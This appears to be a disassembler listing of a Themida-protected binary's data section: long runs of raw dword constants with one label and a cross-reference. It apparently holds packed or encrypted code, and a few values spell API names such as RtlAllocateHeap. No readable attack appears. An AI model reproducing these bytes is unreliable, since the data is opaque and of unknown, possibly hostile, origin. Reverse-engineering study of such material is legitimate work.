		dd 13798A15h, 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh,	0FA798A15h
		dd 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0BFCE2559h
		dd 0F143914Ah, 4A3832DCh, 71BA8C0Eh, 0C3A8EDD8h, 0A2458A42h
		dd 0D558DDAEh, 38C88260h, 2C4FF7F4h, 0CEDF0746h, 0D552B331h
		dd 5E0003C6h, 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0B91A3B8Fh
		dd 0B0D9FB57h, 0A45EEA79h, 6FDD7BAEh, 0A25863E9h
dword_600C00	dd 5FABA851h, 0AA307519h, 75E932DCh, 2F168C0Eh,	3134C4CBh
					; DATA XREF: Themida_:0057E274o
		dd 2B967513h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h
		dd 3044h, 0B8E9h, 44375700h, 772627C0h,	9C1934B3h, 8A010F98h
		dd 0B7EA1986h, 7EC4E873h, 51CE524Fh, 2AB57934h,	9F631Eh
		dd 0EE8B8FFEh, 0F7271293h, 17BC55EBh, 256967ADh, 0F09249F8h
		dd 2246CA53h, 1655562Ah, 0A774BEFBh, 5D2EF2A9h,	7787020Eh
		dd 0A8940113h, 5453F092h, 532CB0B1h, 0D891770Dh, 9E567982h
		dd 81001994h, 80C65370h, 9753B5F2h, 0Dh, 9F188B1Dh, 53F092ACh
		dd 0D1D12327h, 346767C3h, 52497B04h, 6E29253Ah,	8904015Eh
		dd 0A2DFEE71h, 0FBB6D5AAh, 178EBCC3h, 306D98E7h, 57464718h
		dd 30681F27h, 0E9061B65h, 0FFF91B05h, 0FE0BD3Fh, 45D9318Ch
		dd 3E87D03Bh, 6E82Fh, 8A7F0000h, 7B110D12h, 0B25BBDB5h
		dd 0EAC381A8h, 6600005Dh, 0BECACABAh, 0
		dd 0B21E34FFh, 9E95FDBh, 80000000h, 6BF0AAF9h, 0FCDCBD43h
		dd 266FC781h, 0DE8564Ah, 34000000h, 2157BE3Eh, 62B9631Bh
		dd 4A094F7Bh, 59C7B70Fh, 0DFF9C781h, 7E95F3Ch, 5C000000h
		dd 0F2827AD9h, 0F781281Fh, 545EAB2Fh, 0FEE88060h, 28D0Fh
		dd 61600000h, 333C8961h, 9EB9CF8Bh, 83756ED9h, 0BA6604EEh
		dd 0FE817537h, 0F305E983h, 0E4CB8BA4h, 44DEDDA8h, 0B1325646h
		dd 5BB30C57h, 0B7288669h, 0B132503Ch, 0A16A1AEAh, 0BE37A475h
		dd 0B132403Eh, 0B123BF5Dh, 93F756AEh, 38096A3Fh, 5BAA7353h
		dd 83499AD5h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	5E17FB23h
		dd 25FB61D4h, 0FDF53FD5h, 6E9A6CADh, 0B7342291h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73E612F0h, 1360FFA0h
		dd 0F305E983h, 8DDB8BA4h, 1BA6F4BDh, 0B98D8D06h, 0B8061C2Fh
		dd 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h,	0F9F67549h
		dd 1840Fh, 0FF90000h, 0B8Dh, 0E1816000h, 5DDEC4EBh, 61F28B66h
		dd 242C8150h, 6D67752Ch, 8124048Bh, 4C4h, 752C0500h, 83F86D67h
		dd 1410F1BDh, 9750006h,	0E25BD83h, 74000614h, 8B535019h
		dd 411B8C0h, 85890000h,	61424F1h, 0A7B99D8Dh, 0D3FF0616h
		dd 0BD83585Bh, 6140E25h, 50177400h, 411B853h, 85890000h
		dd 61424F1h, 0A45A9D8Dh, 0D3FF0616h, 0FFC585Bh,	0B85h
		dd 6E900h, 0ABA00000h, 946DA38h, 24348150h, 2C4072E7h
		dd 0E7BE5658h, 312C4072h, 0F8F95EF0h, 6E8h, 18297E00h
		dd 66D1FCACh, 5F9117BAh, 0C781D88Bh, 6DF3h, 13830Fh, 0E9600000h
		dd 7, 0E6038D2Dh, 0B8D62682h, 5EE5FFDCh, 0FC93361h, 1780h
		dd 0BE800h, 6EEA0000h, 0FEF9EC0Ah, 457C6157h, 820F60h
		dd 5B000000h, 0F3934FFh, 188Eh,	58526000h, 0FE9h, 0B1FFF700h
		dd 0F7F5C19Bh, 29FD8F20h, 0E03F26DDh, 81FC5861h, 0B8ED80F0h
		dd 0D6816642h, 0F08130FBh, 56E108B1h, 0DE9h, 0E9B68700h
		dd 0A5E073CAh, 0C5B557A2h, 0C081B031h, 53927AD6h, 50D08B66h
		dd 7E960h, 0DBCD0000h, 0AD757E85h, 10860FA8h, 0E9000000h
		dd 0Bh,	0B7BCC31Dh, 0ECE253F8h,	61579691h, 0F0F048Fh, 983h
		dd 0BF666000h, 8B668FB1h, 665361C8h, 5A2B21BAh,	244EE981h
		dd 0C181056Ah, 56A244Ah, 8147EA80h, 0FF933CF9h,	2A850FFFh
		dd 0E9000000h, 0Fh, 0CB6F128Ch,	63770545h, 948FC1F5h, 0E91A2E02h
		dd 28h,	0DCCA9805h, 529E2703h, 7DB03D41h, 49C5BD02h, 0FF2AE939h
		dd 0D6E2FFFFh, 0E0A2640Ah, 0A4A6A2FAh, 0B27B07D1h, 0C5332C16h
		dd 34BA8D8Dh, 0CE9061Ch, 76000000h, 5B0BEBF2h, 2F49B3BAh
		dd 890F0AA3h, 142B698Dh, 5585C706h, 5C061410h, 6600005Dh
		dd 85C7F18Bh, 614013Dh,	0
		dd 2699BD8Bh, 85890614h, 61407F1h, 4B1B5FFh, 6A0614h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B70F16C3h, 0D995FFF1h, 6A06140Bh, 7195FF00h, 8B061429h
		dd 0EB7CEBC0h, 18E944FBh, 180E156Ch, 9B4E315Bh,	58ACF4A4h
		dd 0CD0A29F0h, 76166CC3h, 17F5E43h, 7CA423BFh, 3DC2B63Eh
		dd 0E778DD73h, 27168F73h, 35668A3Bh, 162FF63Ch,	253DD487h
		dd 7D64FBCBh, 0B333F2AEh, 9E15FC50h, 96288D70h,	0F7FF0D08h
		dd 0EFC43F2Ah, 9ABCF87Ah, 2DED109Bh, 0BCD5D89Eh, 6F3EC741h
		dd 372300E7h, 613878B8h, 0BD25B7DFh, 55FE07DEh,	9B6A7AF1h
		dd 0A1835700h, 0E9410219h, 9, 4663ABFCh, 0
		dd 48AE900h, 40680000h,	0E9061C36h, 0FFF84B88h,	1C36B368h
		dd 4B7EE906h, 0E968FFF8h, 0E9061C37h, 0FFF84B74h, 7C80FB0Bh
		dd 67ABE2E3h, 4CD0CDF8h, 3AFEB5D3h, 1FE39EADh, 0FB0AB89Ch
		dd 0E8E58286h, 0D2FE69ADh, 0B2D453D7h, 0E75A37FBh, 0ECA78B46h
		dd 0C1CB0855h, 5356867h, 2655487Ah, 92DF6ACBh, 0D0FF53F0h
		dd 0AF65E9DDh, 3FC090EBh, 6B2223BFh, 3637E7B5h,	5339C8FCh
		dd 8B13FF38h, 301449DCh, 4845441Bh, 84BBFACAh, 6655E596h
		dd 0CE9D90E7h, 0A24EC4C1h, 8BA9907Ch, 2A51Ah, 591E9600h
		dd 112A5EAFh, 0DC6B6294h, 0A697FB49h, 193CBDF9h, 1986F156h
		dd 5089FD2Ah, 0C675B2A9h, 5D5089FDh, 675FD5F9h,	5CD9F286h
		dd 4AA501D6h, 0F140ED58h, 725A7DE9h, 98FC040Eh,	63E9F860h
		dd 25A6CF68h, 0C5494051h, 0E695B7B6h, 8838522h,	8DC64307h
		dd 0FFCD3D5Fh, 2D4h, 0B0742727h, 0A3671637h, 888C0904h
		dd 76BAF11Fh, 63A7DAE9h, 3F4EF4D8h, 2421BE42h, 0E3AA569h
		dd 0EE108F93h, 0A31E7BBFh, 0ECA43702h, 9D074C55h, 0E01B6180h
		dd 0D4443447h, 304BCF49h, 6E9C1A29h, 4098EBC5h,	97BBB21Ah
		dd 0CCFFE367h, 2108BBDh, 0C7BAC956h, 0F9D676B7h, 0A90455ECh
		dd 0ECF93D0Ch, 40D2B655h, 0FD02798Bh, 69131243h, 615F6DDDh
		dd 0D4000002h, 0AA35F9B4h, 8720E499h, 920D118Ch, 6AF53974h
		dd 59E2265Bh, 0CDC0CF77h, 0F4B1DE49h, 0E09BB730h, 0A81831Ch
		dd 97106B06h, 55ECA4A4h, 8010943Fh, 47E01B61h, 49D44434h
		dd 0F2334BCFh, 55ECA44Bh, 0A60772A9h, 55ECA4ABh, 96172428h
		dd 55ECA4BBh, 31DE5438h, 0BE5298DAh, 776C8BB0h,	48000001h
		dd 6366567h, 0E2434779h, 53F09257h, 7F534A47h, 5333F71Bh
		dd 68B5C6B2h, 49DC63A6h, 40B3CB4Fh, 26870B39h, 55E4832Bh
		dd 7280A4A8h, 0E4833C03h, 0D83FDE55h, 0A899549Ah, 36628Bh
		dd 8B4E0000h, 56DCD9F4h, 0C2F98F5Eh, 88BBE457h,	0B53F092h
		dd 92800D07h, 9449DC6Ch, 0CDFDB8D5h, 0DBBFCB49h, 9D3B02A3h
		dd 3ED955E4h, 9B559BD7h, 0A4618BA8h, 4F000000h,	84216567h
		dd 53F092B5h, 0F4314ACEh, 53F09345h, 26567ADEh,	47772A59h
		dd 64970638h, 939DAC09h, 321653F0h, 89BBC4E0h, 27D0E12h
		dd 0F09396A5h, 0C898653h, 202498FCh, 963AE3D2h,	6C9E53F0h
		dd 7495ED31h, 0D2AA0B00h, 5F49DFF2h, 8AB9C0FBh,	75941317h
		dd 0D347F738h, 89E16918h, 12BBBh, 37E8E00h, 2E5F60FFh
		dd 57527DEAh, 7F3654D3h, 601D2CBBh, 8D351F9Ch, 60FF037Eh
		dd 79E62A63h, 51CE524Dh, 0DDB87C2Fh, 0A572C16Eh, 42F155ECh
		dd 3568675Eh, 9FCA9AF1h, 0B407BEB1h, 739D65Ch, 67429094h
		dd 46053665h, 0D6324A47h, 0ED1F605Ch, 0FB0A7ABEh, 0F317E8Dh
		dd 8449DC2Ch, 0DC3B1697h, 0D4B855E4h, 3CD9BB0h,	6A2521BCh
		dd 8CA02BB4h, 27262586h, 9FD5A66Ah, 80F81DCBh, 0ED4A41FFh
		dd 55E4445Eh, 32A371D5h, 55E4440Bh, 9E62192Bh, 1F980201h
		dd 55E4442Ch, 8FBFA3A7h, 8BBDh,	61803B00h, 0F675E01Bh
		dd 8D0528D7h, 0A23DF92Ch, 67974BEh, 0D49D40Fh, 1782F109h
		dd 17133241h, 0BA831B44h, 55ECB08Fh, 5DF20004h,	33AC702Bh
		dd 0C3629A11h, 956CC22Bh, 0F4512754h, 0E1515D6Eh, 0E650A08h
		dd 5ADECDFFh, 93BBBCDh,	0FA1E7A92h, 108DBAC1h, 16969CF8h
		dd 4B403B49h, 2AEC5FD8h, 0E367156Bh, 0C3329511h, 0DEEA71ACh
		dd 0D6374DA3h, 1B6CC204h, 4D404219h, 712C5EC9h,	0A4B59h
		dd 8BE10000h, 0ACDCD9F4h, 0D4DEEA28h, 4346767h,	3A52497Bh
		dd 5E6E2925h, 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh
		dd 18306D98h, 27574647h, 0E789571Fh, 4C781h, 0EF830000h
		dd 243C8704h, 242C895Ch, 654668h, 24348900h, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 52241489h, 8E5155BAh, 81D2F725h
		dd 0AE6EE2EAh, 0C1EAD162h, 0CA8107EAh, 745822B7h, 0D6D3F281h
		dd 81527263h, 2CA62404h, 815E03FDh, 0FD2CA6EEh,	80685A03h
		dd 8900007Fh, 4812424h,	424h, 0EC835A00h, 24348904h, 8B08428Fh
		dd 89572414h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 2434FF5Ch
		dd 4C4815Eh, 0E9000000h, 0FFF8470Ch, 407D8E02h,	1C3939B8h
		dd 0FFC50306h, 626688E0h, 7B46977Ah, 0F87EE024h, 180591Ah
		dd 85F05426h, 0FDB80D05h, 40531326h, 0E21A8809h, 0B5E23340h
		dd 0B433C108h, 0BB01DD2Fh, 0D13E8E62h, 0CEA58636h, 0FD070C63h
		dd 47914C1Ah, 0BA881507h, 0D7366E4Bh, 0E3C00333h, 0E65B3925h
		dd 0F6D59150h, 13E87Fh,	18670000h, 24D2258Ah, 0D4B3D712h
		dd 2AF1A579h, 0FB232469h, 533CB85Ch, 605A07A3h,	0DA8B51FCh
		dd 0C281615Bh, 67C2h, 5E30B756h, 0BFh, 13E95100h, 0B0000000h
		dd 18B6E4D4h, 714E27B3h, 0E5012553h, 6FFD6D1h, 8B585AFDh
		dd 0F1813A0Ch, 11CBCC6Eh, 302A9FBEh, 1C18174h, 81052DC2h
		dd 948418C1h, 9E93Fh, 0D84F0000h, 9FE06D2Ch, 51288E47h
		dd 41E68166h, 3A048F27h, 188E0Fh, 13E90000h, 0D5000000h
		dd 2432FF62h, 3AFF272h,	0DE2BAC8h, 7D3364E1h, 9E95153h
		dd 50000000h, 0B4FC61D7h, 7D067F2Dh, 6260EF81h,	82B71065h
		dd 625CC781h, 81661065h, 81013DDEh, 0FF9904FFh,	84850FFFh
		dd 0BBFFFFFFh, 552375Dh, 0EDE9h, 8C666000h, 0F04A8D8h
		dd 0DF84h, 89B58B00h, 8306141Bh, 850F00FEh, 22h, 84985C6h
		dd 68450614h, 8E726969h, 0C2DB5FFh, 858D0614h, 61778FEh
		dd 8589D0FFh, 6141869h,	3E80F08Bh, 31850FE9h, 8D000000h
		dd 198E3485h, 8BD0FF06h, 143169BDh, 84C78106h, 8B000011h
		dd 141B89B5h, 0B9F78706h, 8, 0B58BA4F3h, 6141B89h, 293E858Dh
		dd 0D0FF0618h, 2E01B58Bh, 0FE830614h, 22850F00h, 0C6000000h
		dd 14084985h, 0F4685406h, 0FFFF4EBEh, 140C2DB5h, 0FE858D06h
		dd 0FF061778h, 18589D0h, 8B06142Eh, 0E93E80F0h,	3A850Fh
		dd 0B58B0000h, 6142E01h, 8E34858Dh, 0D0FF0619h,	3169BD8Bh
		dd 0C7810614h, 1184h, 8B08C783h, 142E01B5h, 0B9F78706h
		dd 8, 0B58BA4F3h, 6142E01h, 293E858Dh, 0D0FF0618h, 858DC361h
		dd 61C3B05h, 209D8589h,	8D8D0614h, 61C3C9Dh, 0BFD958Bh
		dd 8D890614h, 6142B69h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 50C35242h, 0E5396F70h, 0C7842759h, 14105585h
		dd 6AF006h, 3D85C700h, 61401h, 1000000h, 140A4D95h, 0B1B5FF06h
		dd 6A061404h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0FDCAC350h, 0BD995FFh,	6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 3CC48C3h, 6A77B6h, 297195FFh, 0C08B0614h, 3BD47CEBh
		dd 98F0E1A1h, 0F1D87ACFh, 234222E7h, 0B545BBF9h, 9F1F3FABh
		dd 0AEC2218Ch, 2AD2FB09h, 0ABFEE5CCh, 3F3AD4Eh,	0BDDD566Ch
		dd 885F6A46h, 0F6ABC65Fh, 39BBDD5Ch, 6E5E499h, 770A5B3Bh
		dd 0C1DA45FEh, 0E43D0D86h, 9D691579h, 0D42D738Dh, 6363A5C3h
		dd 200DBB01h, 20ED1585h, 347EE2A5h, 0C1DC1044h,	0A5291B0h
		dd 0C3E0A1D8h, 0A6CA7A51h, 0F106D5Ch, 0D5F7903Ch, 7C113451h
		dd 1FE91E15h, 7000000h,	520CBD3Fh, 6C416C74h, 61636F6Ch
		dd 65486574h, 7061h, 1400h, 0
		dd 0D9E90000h, 68000010h, 61C3F4Ah, 0F8438FE9h,	405568FFh
		dd 85E9061Ch, 68FFF843h, 61C42E2h, 0F8437BE9h, 43F068FFh
		dd 71E9061Ch, 68FFF843h, 61C46A5h, 0F84367E9h, 474168FFh
		dd 5DE9061Ch, 68FFF843h, 61C4780h, 0F84353E9h, 488868FFh
		dd 49E9061Ch, 68FFF843h, 61C4966h, 0F8433FE9h, 49D768FFh
		dd 35E9061Ch, 68FFF843h, 61C4B59h, 0F8432BE9h, 4C8168FFh
		dd 21E9061Ch, 0D8FFF843h, 0B631F5A8h, 8B141895h, 66010580h
		dd 7EE92D68h, 4DCE524Fh, 0F1ACDB6Bh, 1895B22Dh,	47F8B14h
		dd 36656700h, 0FB2487F2h, 55ECAF48h, 670488CBh,	79063665h
		dd 5B245447h, 3B44742Fh, 1A659510h, 0C185B5E8h,	143BFF16h
		dd 8DBFCE25h, 929DAC09h, 321653F0h, 0BADED9F5h,	0A7DAE976h
		dd 0CBC2C463h, 0E39AACB3h, 0F286671Fh, 63925CD9h, 0A11C49DCh
		dd 0E4833504h, 48CA4E55h, 0EE9DAF38h, 0CC73B2CAh, 2E55E483h
		dd 1F55C82Fh, 9BB61316h, 0B46AEE1Eh, 3C798A0Dh,	55E4410Dh
		dd 6D9E8286h, 0E44171C0h, 848EF255h, 0A95B36E4h, 36408Bh
		dd 7AD50000h, 11B7BAEAh, 0FBC20C93h, 55E46148h,	1E2E5F60h
		dd 0B042C6BAh, 1B61804Eh, 6CD747E0h, 242849DCh,	9CAA9514h
		dd 8D4855E4h, 9AC61466h, 0E0D08BA8h, 0DC000000h, 6366567h
		dd 0E7404A79h, 53F09254h, 32E4194Dh, 2E629135h,	0A594112Ah
		dd 3E53F029h, 7906365Ah, 58275447h, 9CA87726h, 0A76DE9E1h
		dd 57467807h, 2CD28AD3h, 92B453F0h, 7688171Bh, 45384910h
		dd 0B988D135h, 3A53F052h, 0C1BCC956h, 0D435ADDDh, 6834DD52h
		dd 1628A792h, 0CFF35767h, 577B3250h, 0DD6CC924h, 5653F01Bh
		dd 148720F2h, 0B57F3A55h, 0DCF31E38h, 6FB39749h, 8982F617h
		dd 3702A31Eh, 4C55E433h, 264B4AC8h, 8E4FCB6Bh, 58DAD1FFh
		dd 48172428h, 27C04439h, 0E7B27528h, 9F63043Bh,	0E121D2Fh
		dd 1D2D0000h, 19E62h, 0F31E898Dh, 0D7F572B6h, 0C0CF58DCh
		dd 0EEC249CDh, 0B0742958h, 9F631A37h, 85890400h, 71B5E81Ah
		dd 0C978A504h, 4A55ECADh, 68678709h, 5476F135h,	801FD559h
		dd 75E01B61h, 42DDD8F6h, 0DA3E4E43h, 6CCD5D58h,	0F90649DCh
		dd 5EBAD2CDh, 9CA3023Ah, 0BC55E49Ch, 64FB138Ah,	0F9B4D062h
		dd 292145C1h, 0A3678E51h, 22304786h, 8BA89AFCh,	0F34EEF5Ah
		dd 7055E490h, 0C365060Ch, 0A000000h, 0D85A5173h, 36656756h
		dd 0C3DF9506h, 796160D8h, 0DBD6F532h, 0E838259h, 95E1BFFEh
		dd 0BFC153F0h, 0ADDF48CCh, 0B756CEFEh, 0C96DCAC1h, 6249DC7Dh
		dd 9B6A1A1Eh, 4042F416h, 0B5D93D4Dh, 6CEF0185h,	3E4779ACh
		dd 56C1FA1Eh, 7787F617h, 0DDBF1D13h, 0B5BB141Ch, 0A50C7E7Fh
		dd 1054FCBh, 231E9F0Ah,	0E75FDA64h, 0DA648B46h,	0B004085Fh
		dd 0E66546CCh, 1566AAE7h, 4E7E3B56h, 749348CAh,	8F35F639h
		dd 5DCD6304h, 0D074Fh, 9F123200h, 82FB0C9Bh, 0ABE6E17Eh
		dd 0D3CAF867h, 0FCB1D04Fh, 2999B338h, 4A3671Ah,	1D8A8E07h
		dd 0F572B6F1h, 3954D8D3h, 0D2D665C2h, 266D55ECh, 356867E2h
		dd 595476F1h, 65671FD5h, 0FFA05321h, 0F32AA885h, 0F0965FEAh
		dd 4C70D453h, 92B0CF3Ch, 4042191Bh, 0BD80C94Dh,	9D53F096h
		dd 0C4BFCB6Bh, 0E82C50B4h, 2E5E4D7Fh, 4F7C2F51h, 6D9E0F30h
		dd 0F09671C0h, 848EF253h, 2A418E38h, 6EB2E91Bh,	94911CC2h
		dd 0AEBA85h, 80760000h,	0ABE2E061h, 92241790h, 0DBBF53F0h
		dd 522984B7h, 0C94D7D30h, 92C675B2h, 0F95D53F0h, 72C8BA3Bh
		dd 64149DCh, 56668A07h,	0E4B268D7h, 244B8A55h, 0A8A908D6h
		dd 72968Bh, 0B9020000h,	53F09285h, 65C2A342h, 53F092D6h
		dd 0B6C5E96Dh, 0E6ADCFBEh, 0DA584F0Bh, 1E67EE9h, 136B54C6h
		dd 7F97060Ch, 0F049DC9Eh, 0DFE07F8Ch, 0F83A9EAEh, 0EDA0AF38h
		dd 0F21F6EDDh, 0A44579BBh, 787ABBD0h, 0F14FC99Ch, 0F21E898Dh
		dd 0CE1F87B7h, 762481BAh, 0C845F56Fh, 0EF1F92B1h, 0F559A96Bh
		dd 8D3FB31h, 0B1C80000h, 41EE1D90h, 41CDB3F2h, 1D070D71h
		dd 19E4FD8Bh, 5A722B5Ch, 279F28FEh, 13F2CA48h, 49C95665h
		dd 0AA49DC3Fh, 0EDF95A6h, 67222EDCh, 583DF357h,	357183FCh
		dd 0E48749F4h, 570AB55h, 0E487A998h, 0EC262A55h, 44EAE80Fh
		dd 528BA89Dh, 17h, 9286B95Eh, 8F5D53F0h, 0FFFFFC13h, 0B584219Ch
		dd 0CE53F092h, 8046C84Ah, 0A9E4E061h, 0D297685h, 0A649DC6Fh
		dd 340BAAA2h, 0D655E49Fh, 3E4DE037h, 0FD9D9712h, 8BA8952Fh
		dd 4C84Fh, 0C461DC00h, 55E49775h, 6E9D8A8Eh, 75BF1B33h
		dd 0D2F48BF3h, 4BFB59DBh, 592F4C9Dh, 111ED435h,	34074609h
		dd 0ED53F041h, 0E1B85C13h, 0EA6E22B9h, 0DD5AB5C6h, 53F0C26Eh
		dd 109361E5h, 0DC3B6397h, 9BACB349h, 7A9CEAE2h,	0D82E51C3h
		dd 1B6FA5C9h, 0A1C5C0CCh, 0AC15CB68h, 2E992BB9h, 2AB2B281h
		dd 0C74D31FCh, 516A1EEFh, 0B28AB9E6h, 509FC2Ah,	0D641BC0Fh
		dd 2AB2FA49h, 1F1579FCh, 66F409Eh, 8687C6E6h, 61E51D17h
		dd 6410F169h, 5671D657h, 6CE2FC31h, 3AB9A412h, 32496DB7h
		dd 8C931C2Bh, 5469D947h, 60E41438h, 0AC7FCA6Bh,	90F4EFF5h
		dd 0BEB62182h, 630EC0A7h, 45404B05h, 67ADD135h,	0EE1C96A8h
		dd 108F93B7h, 0C178BFEEh, 59B32A58h, 0A7AD3E1h,	85850000h
		dd 6899060Ah, 5B76F135h, 3F4DDA5Eh, 2827C044h, 62AB175h
		dd 181C91B0h, 70B828Fh,	0ED316C98h, 0D95D5072h,	51E04DBCh
		dd 0D255ECD0h, 65677FA1h, 4F9E0636h, 59A50239h,	0D249DC75h
		dd 387395h, 1B367784h, 9855E4B5h, 0E47B90B4h, 596AA8E5h
		dd 0B28696EEh, 0BF3502Dh, 7B365209h, 931C28B7h,	5856520h
		dd 183054BBh, 0E410AA99h, 0E0E15C55h, 0C72655E4h, 502F9AB1h
		dd 3ABB7934h, 4FC8FD48h, 0BF8A2B86h, 345FD80Dh,	0A2A6C250h
		dd 0D340BAAh, 37D65FD8h, 2B4C92E0h, 386A91BDh, 0FF000000h
		dd 1E2E5F60h, 205B6DBAh, 618068D2h, 4747E01Bh, 0FF49DC49h
		dd 132B6260h, 265768B7h, 60B216h, 139C0F3Ch, 55E4B920h
		dd 6A2324A3h, 40D2F652h, 275664h, 80DC0000h, 47E01B61h
		dd 49DC7647h, 10238CFFh, 9355E4B6h, 2E1D65AFh, 0E4B6B281h
		dd 9DBF3155h, 6C55364Bh, 526A8EB2h, 36656758h, 2F8544F1h
		dd 0BE8CFC6Fh, 96Ch, 47797h, 0F3376667h, 0D85C5974h, 0C64A414Fh
		dd 0B3772A59h, 8FBE0428h, 74910E12h, 5E6AF539h,	3E40DF23h
		dd 53AECB4Fh, 0ECD167D2h, 6D57FC55h, 0E01B6180h, 0DC910B47h
		dd 0EF48BB49h, 55E4915Ch, 41A173D7h, 90B2CDFDh,	6E50191Dh
		dd 0ABAC3F5Ah, 96EE325Eh, 0AD0A0177h, 6483482Dh, 0B5CAC246h
		dd 6D151994h, 52D3E89Ch, 7AAF0DA0h, 28636FFEh, 82BA9EEAh
		dd 77FD1C23h, 900D3C6Ah, 0B6E5E778h, 0FE15C286h, 0C72E2934h
		dd 1BF7658Bh, 11A71BFh,	80BF0000h, 47E01B61h, 49DC910Bh
		dd 1C6398FCh, 407CB6EFh, 77E8CD3h, 98B0ED18h, 2759F63Ch
		dd 1537B074h, 0EBD75666h, 0ECAC3F5Ah, 0ABDDEC03h, 91B32CF0h
		dd 2976E11Ah, 7EAFAF1Ah, 4F7FB599h, 7464DCEEh, 0C0D70687h
		dd 0FF0C7F81h, 635C5669h, 9A1B9C4Dh, 75A27AFh, 0F63C2024h
		dd 0E8A3A542h, 0B7F063D0h, 75A2784h, 0CAC3C01Fh, 8C586CA6h
		dd 0FF6ACBC0h, 74075A27h, 95740C10h, 0E79D4E7h,	5A2792A1h
		dd 0E72D1107h, 76C184F6h, 91A9AD1Dh, 29EC5222h,	373A607Fh
		dd 611C2EFDh, 0BBF2136Ah, 1C2EB979h, 1A326F9Ah,	0C3629ABEh
		dd 94E8158h, 2F0269C8h,	40783550h, 6F914EC4h, 20B1F83Ch
		dd 0EFBDA248h, 3DAA6E1Ah, 0E47B900Bh, 5A6AA8E5h, 3AB9D8DBh
		dd 0C52C8B06h, 0AA011A6Ah, 93AB38B4h, 0A5358E90h, 42D0F46Fh
		dd 0B007B8Dh, 730EC67Dh, 6CA6AFF7h, 92093BA4h, 119E097Ah
		dd 6A90722h, 5F57DDA1h,	64C1FA8Eh, 1C85F782h, 9953D7BBh
		dd 35h,	0FDB0DFAEh, 41CB49CDh, 0E01B6180h, 0DC494747h
		dd 0A4D4B849h, 2FF3AADBh, 0D04B6B9h, 317E8DF9h,	55E4BF1Ah
		dd 77C263DEh, 8C55E4BFh, 385C5773h, 0CF8A8EFAh,	99FD8B45h
		dd 168DBB90h, 6B062A00h, 26D0F2A9h, 0C0446825h,	205B21C0h
		dd 0E176BFB5h, 4354945Fh, 0CC52C4B1h, 0B0AB49DCh, 0E472C477h
		dd 25FB5F55h, 34FEF4CDh, 0B2C9EDDDh, 20E49FABh,	0F8108B87h
		dd 0E01B6180h, 55E4FF75h, 6426BD41h, 38D32FAEh,	0F0544FC8h
		dd 0D8884DBh, 2B9B99FDh, 0D811B38Ah, 1C95745Fh,	7A91B5F0h
		dd 0F4EC493Dh, 4E7EC245h, 0CC0250EFh, 3C53B241h, 0D11CF03Eh
		dd 3F8E97h, 802A0000h, 0FDC0E961h, 0EE8EB791h, 0C7A3B1CAh
		dd 0EF75E48Ch, 52D3EC26h, 49DC9854h, 793452ADh,	0A9A1C541h
		dd 6F26233Ah, 4725FB5Fh, 0DA126486h, 17DF49CBh,	0EC000000h
		dd 0FF57EC94h, 8C86C9DFh, 1B61808Ah, 764747E0h,	0D4B849DCh
		dd 65678EA4h, 854EF136h, 86F66F2Fh, 6B7B4h, 0CFC2C200h
		dd 0F2ABDC4Bh, 1B96B12Eh, 37A8817h, 2C6160FFh, 0F94963E8h
		dd 0D453D7CAh, 0AD3AFEB7h, 8522E6A1h, 69040883h, 0D4A69512h
		dd 963D55ECh, 0AA571E12h, 0CDFDB8D3h, 12F3CB49h, 0F5165566h
		dd 0E2DC66B8h, 516AF2F7h, 3347E0C3h, 8349DC78h,	5CD6CFFCh
		dd 7AE92024h, 46DD77EAh, 858F1CD6h, 3B53F908h, 1F2E3D13h
		dd 0CD1C9062h, 3E4E4744h, 1885B6DAh, 8187AA12h,	8E070443h
		dd 1BEA526Ah, 0B8D15E6Dh, 0BB87B38Eh, 0A3A5A4D7h, 89BB24E8h
		dd 79740D12h, 9C0C9AABh, 61B8Eh, 6B262600h, 960738A7h
		dd 0BFFA1592h, 0A7DEEC7Bh, 0C8C5C463h, 25EDC744h, 38A76B26h
		dd 118E920Bh, 0E976BAF5h, 3560A4D7h, 0D5DA69B6h, 3A5955ECh
		dd 366567F6h, 2F8562F1h, 90A21A6Fh, 5DCh, 70B4E7E7h, 63A7D6F7h
		dd 48CCC9C4h, 36FAB1DFh, 23E79AA9h, 0FF0EB498h,	0E4E17E82h
		dd 0CEFA65A9h, 0AED04FD3h, 0E35E3BFFh, 0ECD5F742h, 0DDC70C55h
		dd 6366567h, 5BCB4F9Eh,	4BC1F009h, 0D05D6E92h, 49D4EB54h
		dd 1D65A9ADh, 330EAFCCh, 0B055EC63h, 1293A8CCh,	4FC0617Ch
		dd 387991F5h, 5FC06105h, 1E1178E7h, 3048434Fh, 6CB25ED4h
		dd 0A91C57Bh, 0D1h, 3003AC1Fh, 0B35FC079h, 1EC345CFh, 295FAE58h
		dd 0A9D8A712h, 0B240C4F4h, 0DC6BB7C3h, 0B7C44849h, 80B9BA1h
		dd 25217C89h, 0D2F6526Ah, 0A384A540h, 9804FB35h, 9D080349h
		dd 0A9A38CC7h, 0D48014B3h, 331B0D5Eh, 67B46A36h, 0FEC4267h
		dd 387667ADh, 7E9CC776h, 93ABE2EFh, 8185FD37h, 7FF01189h
		dd 0AA2E5E4Dh, 0DAF67586h, 5D6D2824h, 6C5FD5F9h, 0F07E7AC3h
		dd 7A91F592h, 900DC5EAh, 4FC5BC9Ch, 0A0DBED7Ch,	0CAC1C35Ch
		dd 0E89AC045h, 5A68C08Dh, 4D4h,	68ACDFEFh, 5BDFCEFFh, 40C4C1CCh
		dd 2EF2A9A7h, 1B1F92B1h, 0F716BC90h, 0DCE976BAh, 0C6C25DA1h
		dd 0A6D847CBh, 0FB4633F7h, 0ECDA8FBAh, 0C5CF0455h, 0D92Ah
